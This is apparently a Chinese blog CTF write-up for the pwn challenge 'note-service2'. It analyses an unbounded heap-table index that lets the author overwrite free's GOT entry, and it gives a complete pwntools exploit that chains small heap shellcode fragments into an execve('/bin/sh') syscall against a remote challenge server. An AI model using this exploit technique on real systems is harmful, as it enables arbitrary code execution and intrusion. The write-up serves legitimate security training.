CTF-PWN-note-service2 (堆中shellcode执行)

checksec

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      PIE enabled
    RWX:      Has RWX segments

发现没有开启NX,因此很有可能是要我们将shellcode写入某个地方并执行


具体分析

是一个经典的Menu型题目
对该程序进行大概分析后发现主要实现了两个主要功能,一个是add,一个是delete。

add

int Add()
{
  int size; // eax
  int id; // [rsp+8h] [rbp-8h]
  unsigned int Size; // [rsp+Ch] [rbp-4h]

  size = tot;
  if ( tot >= 0 )
  {
    size = tot;
    if ( tot <= 11 )
    {
      printf("index:");
      id = ReadInt();
      printf("size:");
      size = ReadInt();
      Size = size;
      if ( size >= 0 && size <= 8 )
      {
        heap_ptrs[id] = malloc(size);
        if ( !heap_ptrs[id] )
        {
          puts("malloc error");
          exit(0);
        }
        printf("content:");
        ReadString(heap_ptrs[id], Size);
        size = tot++ + 1;
      }
    }
  }
  return size;
}

add主要是malloc一个chunk后将指针记录到表单中,显然id变量没有限制范围,所以可以造成任意地址写。

delete

void Delete()
{
  int id; // ST0C_4

  printf("index:");
  id = ReadInt();
  free((void *)heap_ptrs[id]);
}

显然存在一个double free,但是后面并没有用到这个漏洞

由于add函数中我们可以控制任意地址写,所以我们可以考虑将free函数的got表改成system/execv,这样在堆中的某个chunk存入一个/bin/sh字符串,并free这个chunk即可拿到shell。
如果用泄露真实地址算偏移的方式来做会比较麻烦……所以这里考虑使用syscall来调用execv


syscall的构造

对于本题来说,我们需要用syscall来调用execv函数。所以该流程转化的汇编代码如下:

mov rdi,xxx				xxx为"/bin/sh"的地址
mov rsi,0
mov rdx,0
mov eax,0x3B			0x3B是64位程序中execv函数调用号
syscall

题目中的堆限制我们只能输入7位(还有一位为换行,最后这一位会被置0),所以malloc的每一个chunk都只能存入7位的shellcode。因此对于每一个chunk我们预留一定空间存入跳转指令:
jmp short xxx
这条指令的机器码为\xEB\xXX
其中XX=目标地址-"\xEB"的地址-2
要注意的是chunk的物理地址是在一起的,对于两个相邻的chunk1,chunk2,如果输入的size都是8个字节,那么其实两个chunk的真实大小都是32个字节:8字节pre_size,8字节size,16字节的数据空间(因为malloc(8)最终还是会分配16字节数据空间,但是由于输入的长度由size限制,所以我们只能输入8字节),而我们每次add操作输入的内容都会被存到第三个“8字节”的空间中。
所以计算相邻两个chunk的shellcode偏移 可以知道我们的jmp指令的机器码应该为\xEB\x19


为了节省shellcode空间,所以用xor指令代替mov register,0

exp

from pwn import *
import hashlib
context.update(arch='amd64',log_level='debug')

#p=process("./pwn")
p=remote('111.198.29.45',56868)
elf=ELF('./pwn')
heap_start=0x2020A0

def add(index,content):
    p.recvuntil("your choice>> ")
    p.sendline("1")
    p.recvuntil("index:")
    p.sendline(str(index))
    p.recvuntil("size")
    p.sendline("8")
    p.recvuntil("content:")
    p.sendline(content)

def delete(index):
    p.recvuntil("your choice>> ")
    p.sendline("4")
    p.recvuntil("index:")
    p.sendline(str(index))

add(0,'/bin/sh')
add((elf.got['free']-heap_start)/8,asm('xor rsi,rsi')+'\x90\x90\xEB\x19')
add(1,asm('mov eax,0x3b')+'\xEB\x19')
add(2,asm('xor rdx,rdx')+'\x90\x90\xEB\x19')
add(4,asm('syscall'))

delete(0)

p.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
ctfd-pwn是一个非常受欢迎的CTF(Capture The Flag)比赛中的一个赛题类型,它主要涉及二进制漏洞的利用和系统安全的挑战。 在ctfd-pwn赛题的收集过程中,通常需要考虑以下几个方面: 1. 题目类型:ctfd-pwn赛题可以包含多种类型的漏洞,例如缓冲区溢出、格式化字符串漏洞、整数溢出等。在收集赛题时需要确保涵盖各种漏洞类型,增加题目的多样性和挑战性。 2. 难度级别:赛题的难度级别应该根据参赛者的水平来确定。可以设置多个难度级别的赛题,包括初级、中级和高级,以便参赛者可以逐步提高自己的技能。 3. 原创性:收集ctfd-pwn赛题时应尽量保持赛题的原创性,避免过多的抄袭或重复的赛题。这有助于增加参赛者的学习价值,同时也能提高比赛的公平性。 4. 实用性:收集的赛题应该具有实际应用的意义,能够模拟真实的漏洞和攻击场景。这样可以帮助参赛者更好地理解和掌握系统安全的基本原理。 5. 文档和解答:为每个收集的赛题准备详细的文档和解答是很有必要的。这些文档包括赛题的描述、利用漏洞的步骤和参考资源等,可以帮助参赛者更好地理解赛题和解题思路。 6. 持续更新:CTF比赛的赛题应该定期进行更新和维护,以适应不断变化的网络安全环境。同时也要根据参赛者的反馈和需求,不断收集新的赛题,提供更好的比赛体验。 综上所述,ctfd-pwn赛题的收集需要考虑赛题类型、难度级别、原创性、实用性、文档和解答的准备,以及持续更新的需求。这样才能提供一个富有挑战性和教育性的CTF比赛平台。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值